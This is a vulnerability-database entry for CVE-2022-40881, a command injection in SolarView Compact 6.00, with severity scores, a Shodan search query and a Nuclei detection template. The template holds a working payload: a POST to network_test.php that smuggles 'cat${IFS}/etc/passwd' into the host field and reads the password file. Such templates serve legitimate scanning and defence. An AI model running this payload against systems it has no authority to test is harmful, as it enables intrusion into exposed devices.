SecurityContext

CVE-2022-40881: SolarView 6.00 - Remote Command Execution

Classification

  • Cwe: CWE-77
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.34576
  • Epss percentile: 0.98458
  • Cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: solarview_compact
  • Shodan-query: http.favicon.hash:"-244067125", cpe:"cpe:2.3:h:contec:solarview_compact"
  • Vendor: contec
  • Verified: yes

Products

ProductIndexedUrl
contec:solarview_compactyes/v1/products/contec/solarview_compact

Labels

  • Name: SolarView Compact - Command Injection
  • Impact: Attackers can execute arbitrary commands on the system, potentially leading to full system compromise.
  • Remediation: Update to the latest version of SolarView Compact or apply security patches that sanitize input in network_test.php.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-40881
  • Not known: requirements

```yaml

id: CVE-2022-40881

info:

name: SolarView 6.00 - Remote Command Execution

author: For3stCo1d

severity: critical

description: |

SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.

impact: |

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

remediation: |

Apply the latest patch or upgrade to a non-vulnerable version of SolarView.

reference:

- https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php

- https://github.com/advisories/GHSA-wx3r-88rg-whxq

- https://nvd.nist.gov/vuln/detail/CVE-2022-40881

- https://github.com/KayCHENvip/vulnerability-poc

- https://github.com/Threekiii/Awesome-POC

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2022-40881

cwe-id: CWE-77

epss-score: 0.34576

epss-percentile: 0.98458

cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: contec

product: solarview_compact

shodan-query:

- http.favicon.hash:"-244067125"

- cpe:"cpe:2.3:h:contec:solarview_compact"

tags: cve,cve2022,solarview,rce,lfi,contec,vkev,vuln

variables:

cmd: "cat${IFS}/etc/passwd"

http:

- raw:

- |

POST /network_test.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

host=%0a{{cmd}}%0a&command=ping

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4a0a00473045022007a2cb79c514838beba52a79b84d095e5f70f9a9e9ee0652312001d3459aec35022100ed94575bc718b94d32155684535adad44e86f6b17f971a740058e80341cbe942:922c64590222798bb761d5b6d8e72950

```